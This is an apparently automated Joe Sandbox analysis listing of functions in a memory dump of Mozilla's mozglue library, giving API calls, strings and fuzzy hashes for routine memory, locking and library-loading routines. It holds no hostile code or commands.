free.MOZGLUE(?), ref: 6C5DB578

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 663b264807e928bc78a15aa7bca438ac10b12b398153e2a8aa50efffe02512ff
Instruction ID: 0aa01543cd5efc1e115fda6f95956db6f609de16d4790774c1994b4cb2cc4016
Opcode Fuzzy Hash: 663b264807e928bc78a15aa7bca438ac10b12b398153e2a8aa50efffe02512ff
Instruction Fuzzy Hash: 3D11CD31A14B41C7D712EF2AD840765B3B2FFDA318F11D70AE84952A02FBB0B5C58B99

Function 6C603DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C5CF20E,?), ref: 6C603DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C5CF20E,00000000,?), ref: 6C603DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C603E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C603E0E

Part of subcall function 6C5FCC00: GetCurrentProcess.KERNEL32(?,?,6C5C31A7), ref: 6C5FCC0D
Part of subcall function 6C5FCC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C5C31A7), ref: 6C5FCC16

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: f2804b951b52d5bc855f19593ebced857496a527078e6690fb65cb622075ccb3
Instruction ID: 4740c3378b6dd68675c4aef7233efa983c337e17cb84dfd1064d8a43042d9b81
Opcode Fuzzy Hash: f2804b951b52d5bc855f19593ebced857496a527078e6690fb65cb622075ccb3
Instruction Fuzzy Hash: 3DF05E716002087FD704AB55DC81DAB376DEB86628F048020FD0957701D635BD198AFB

Function 6C612050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C61205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C61201B,?,?,?,?,?,?,?,6C611F8F,?,?), ref: 6C612064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C61208E
free.MOZGLUE(?,?,?,00000000,?,6C61201B,?,?,?,?,?,?,?,6C611F8F,?,?), ref: 6C6120A3

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: c92d63f3dc514053716c9022b415b57d44f375c2231f4e56df45177a0880d6e5
Instruction ID: c63de59c5b12edbcafe3a6813e6c292be863486103394f86b87ccbfa25ea91c1
Opcode Fuzzy Hash: c92d63f3dc514053716c9022b415b57d44f375c2231f4e56df45177a0880d6e5
Instruction Fuzzy Hash: FFF0B471104A009FC7119F1BD888B5BB7F9EFCB369F10412AE50687B10D771A806CB99

Function 6C6185B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C6185D3

Part of subcall function 6C5DCA10: malloc.MOZGLUE(?), ref: 6C5DCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C618725

Strings

map/set<T> too long, xrefs: 6C618720

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: a0e3de2414cde47121e6d3f7504a865157888344cb2cb7a2c3544fc6b5b9375d
Instruction ID: a0baa3fcdc46bddea52448459bcd98eb0b218aa1f5f4df3d8a63a2fcc6d492dc
Opcode Fuzzy Hash: a0e3de2414cde47121e6d3f7504a865157888344cb2cb7a2c3544fc6b5b9375d
Instruction Fuzzy Hash: 96516774A08651CFD701CF18C084A59BBF1BF4A318F1AC28AD8595BB62C335EC45CF95

Function 6C5CBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C5CBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C5CBE8F

Strings

0, xrefs: 6C5CBE5B

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: e49acf1c8e84bd55c3b8943ab8d07189f0a0e97bd37a8eb118090e7ceebea59e
Instruction ID: 6ca0be9ac8a86ac7e9436708ac653e1647efd08ebf6ed052f7376eb365350f6f
Opcode Fuzzy Hash: e49acf1c8e84bd55c3b8943ab8d07189f0a0e97bd37a8eb118090e7ceebea59e
Instruction Fuzzy Hash: 9B41C271A09745CFC701EFB8C881A9BB7F4AF8A748F008A1DF995A7611D730D9498B83

Function 6C603CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C603D19
mozalloc_abort.MOZGLUE(?), ref: 6C603D6C

Strings

d, xrefs: 6C603D58

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: f0aeacc84427a499ad1c9697bf62ccdbf59065f5821f7a1b6d64cafb1501e308
Instruction ID: ea224d0d47a03b3e3ecc10e0dc7ee2d9f7926f2adc587a984dd2c89338b3450c
Opcode Fuzzy Hash: f0aeacc84427a499ad1c9697bf62ccdbf59065f5821f7a1b6d64cafb1501e308
Instruction Fuzzy Hash: D4110431F04688DBDB08DF6AC9548EDB7B5EF86319F44D228DC49A7642FB30A584C358

Function 6C5D4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5D44B2,6C64E21C,6C64F7F8), ref: 6C5D473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C5D474A

Strings

GetNtLoaderAPI, xrefs: 6C5D4744

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: cc4571ad86d7460617a8efe992d921130aa56533f4c4063045b1146767b03c58
Instruction ID: 0368a8dbc5d04f77e0034636451d95f9e1be7a89b67b3aa55d8ea6dbb6754047
Opcode Fuzzy Hash: cc4571ad86d7460617a8efe992d921130aa56533f4c4063045b1146767b03c58
Instruction Fuzzy Hash: 070180757043148FDF00AF6AC894A1E7BB9EB8A315F15C069EA05CB700DB74E8028F9A

Function 6C626DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C626E22
__Init_thread_footer.LIBCMT ref: 6C626E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C626E1D

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 79d64a5e9bfd5acee9acfad0be82f1304c87009e756342bde1323c912f446a4a
Instruction ID: 436df16fc93eed1978f03a02baf249ac13a0d6d53f1754ae5f7f036f8d3690fe
Opcode Fuzzy Hash: 79d64a5e9bfd5acee9acfad0be82f1304c87009e756342bde1323c912f446a4a
Instruction Fuzzy Hash: 91F05935208280CBDB00ABA9C890AD37372935331CF04C165C89146F61DB25E917CF9F

Function 6C5D9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C5D9EEF

Strings

NaN, xrefs: 6C5D9EC1
Infinity, xrefs: 6C5D9EB7

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 7638be8854211ff36af2fca61fdd7afabe71bf2c8a7e65ffca6139aa7fccbf88
Instruction ID: b87adabb5527f88371bec6faa38c32740d831b30bc90e94744d8955880322905
Opcode Fuzzy Hash: 7638be8854211ff36af2fca61fdd7afabe71bf2c8a7e65ffca6139aa7fccbf88
Instruction Fuzzy Hash: 06F0A971600342CADB00EF5AEE95B823BF1A34330DF20CA58C5040AF80DB356546CA8F

Function 6C5D6C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0K`l,?,6C604B30,80000000,?,6C604AB7,?,6C5C43CF,?,6C5C42D2), ref: 6C5D6C42

Part of subcall function 6C5DCA10: malloc.MOZGLUE(?), ref: 6C5DCA26

moz_xmalloc.MOZGLUE(0K`l,?,6C604B30,80000000,?,6C604AB7,?,6C5C43CF,?,6C5C42D2), ref: 6C5D6C58

Strings

0K`l, xrefs: 6C5D6C33, 6C5D6C41, 6C5D6C57

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0K`l
API String ID: 1967447596-2354643784
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: eadacf5e47c3d45c033a75d1978b4625e691ca2ddcea51c646d783483cb848f6
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 60E026F1A113004ADB08D8BCAC0952A72C8CB342A87054E35E822C2BE8FF14F8418059

Function 6C5D3850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C64F860), ref: 6C5D385C
ReleaseSRWLockExclusive.KERNEL32(6C64F860,?), ref: 6C5D3871

Strings

,dl, xrefs: 6C5D387A

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,dl
API String ID: 17069307-2787804351
Opcode ID: 87fea12f0ad439977280bb389b8f135b59d0eeb3a2b5696f30160b5760d2fd84
Instruction ID: 7a6470d5678b7945a8542a55dbe73908eeab1508aa622967b61cdb268c7e19f4
Opcode Fuzzy Hash: 87fea12f0ad439977280bb389b8f135b59d0eeb3a2b5696f30160b5760d2fd84
Instruction Fuzzy Hash: C2E0DF32A16B189BC701EFABD84158BBFB9EE83698705D045F40A1BE00C730A4808ADE

Function 6C5DBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C5DBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C5DBEF5

Strings

cryptbase.dll, xrefs: 6C5DBEF0

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 3f3255c0e0deb35eb43dc52f9ef95b7b9238d1f1e77b5e26c913fbdadb143825
Instruction ID: ce59b318a09f592b6cce7fa04dc43daebb86a0977407c41d6a41245a8eb4112f
Opcode Fuzzy Hash: 3f3255c0e0deb35eb43dc52f9ef95b7b9238d1f1e77b5e26c913fbdadb143825
Instruction Fuzzy Hash: 0AD0A731184708E6C700BA55CC06F293775D741359F10C020F30544951C7B1A412CF4C

Function 6C61B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C61B2C9,?,?,?,6C61B127,?,?,?,?,?,?,?,?,?,6C61AE52), ref: 6C61B628

Part of subcall function 6C6190E0: free.MOZGLUE(?,00000000,?,?,6C61DEDB), ref: 6C6190FF
Part of subcall function 6C6190E0: free.MOZGLUE(?,00000000,?,?,6C61DEDB), ref: 6C619108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C61B2C9,?,?,?,6C61B127,?,?,?,?,?,?,?,?,?,6C61AE52), ref: 6C61B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C61B2C9,?,?,?,6C61B127,?,?,?,?,?,?,?,?,?,6C61AE52), ref: 6C61B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C61B127,?,?,?,?,?,?,?,?), ref: 6C61B74D

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: d2ba243b04c091532758b14435429ab57442d975f8d413df6fbc1fe274fb2ae7
Instruction ID: 8b43c90181251cd90142f7e1b964ab0568fd3cc4649651b4d627e6c8b5eb0250
Opcode Fuzzy Hash: d2ba243b04c091532758b14435429ab57442d975f8d413df6fbc1fe274fb2ae7
Instruction Fuzzy Hash: 0C51C2B1A092158FDB14CF1DC98075EB7B5FFC530AF55852DC85AABB10D731A804CBA9

Function 6C61DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C60FF2A), ref: 6C61DFFD

Part of subcall function 6C6190E0: free.MOZGLUE(?,00000000,?,?,6C61DEDB), ref: 6C6190FF
Part of subcall function 6C6190E0: free.MOZGLUE(?,00000000,?,?,6C61DEDB), ref: 6C619108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C60FF2A), ref: 6C61E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C60FF2A), ref: 6C61E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C60FF2A), ref: 6C61E0FE

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 1e1b6a321e1d86362895eb19f84c9fb8ccc95127b426dab7ec8e2b6652259323
Instruction ID: 317f997fd15af7dd9dec1784fc7b30b67f17b78f5ac7cb202c1a71f7c3754d95
Opcode Fuzzy Hash: 1e1b6a321e1d86362895eb19f84c9fb8ccc95127b426dab7ec8e2b6652259323
Instruction Fuzzy Hash: 9041D2B16082068FEB14CF6CC88435A73B2BB8530AF154939D517DBF40E732E914CB9A

Function 6C616E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C616EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C616EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C616F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C616F5C

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 05b0e0321913991a1bab4d1f05a50033b2c053b488cd1cd9b2a59464317ced2c
Instruction ID: cb8e688bf0530f41179b3e5302e80977f8b832a371a3c683597512b3cb31d510
Opcode Fuzzy Hash: 05b0e0321913991a1bab4d1f05a50033b2c053b488cd1cd9b2a59464317ced2c
Instruction Fuzzy Hash: E631E775A1460A8FDB04CF2CC9806AA73FAEBC5305F508239D41AC7A61EB32E559C794

Function 6C62B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C5D0A4D), ref: 6C62B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C5D0A4D), ref: 6C62B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C5D0A4D), ref: 6C62B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C5D0A4D), ref: 6C62B67F

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: f3d7c58e471242c666c5c08b4178332ab6f3f2aca3fa0d09ac3d3d8d66207805
Instruction ID: 85bbc86e3b5f95028a02f458fe7350430bcd0e441053deb681199ee5ac8987b6
Opcode Fuzzy Hash: f3d7c58e471242c666c5c08b4178332ab6f3f2aca3fa0d09ac3d3d8d66207805
Instruction Fuzzy Hash: 4E31F471A002168FDB10DF59C884A9ABBB5FFC0309F16C529C8179B301DB36E915CFA4

Function 6C5FF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C5FF611
memcpy.VCRUNTIME140(?,?,?), ref: 6C5FF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C5FF652
memcpy.VCRUNTIME140(?,?,?), ref: 6C5FF668

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: e41db38e3f6f875d9ae13fc1318721d7dfe5004b6dac3c74e46dbe65df8249b3
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: C3315071A00224AFD718DF29CCC0A9E77F5EB84358B148638FA5A8BF05D632E945CB94

Function 6C6126B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6126C1
free.MOZGLUE(?), ref: 6C6126E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6126FF
free.MOZGLUE ref: 6C61270D

Memory Dump Source

Source File: 00000000.00000002.2124390046.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2124202145.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124526318.000000006C63D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124690868.000000006C64E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 0d14b753ce18edc6ca1d87ac4e2010ab998d0861368cdb0bc47a6fa83c9fadee
Instruction ID: 033d2d725c67c0dd35c254abd7a789da73b78f2b482c35e9cc28c702898c1f2e
Opcode Fuzzy Hash: 0d14b753ce18edc6ca1d87ac4e2010ab998d0861368cdb0bc47a6fa83c9fadee
Instruction Fuzzy Hash: 1CF0F9B27052006BEB109A1DDCC495B73A9EF9631EB544035EA16C3F01E332FD18C6D9

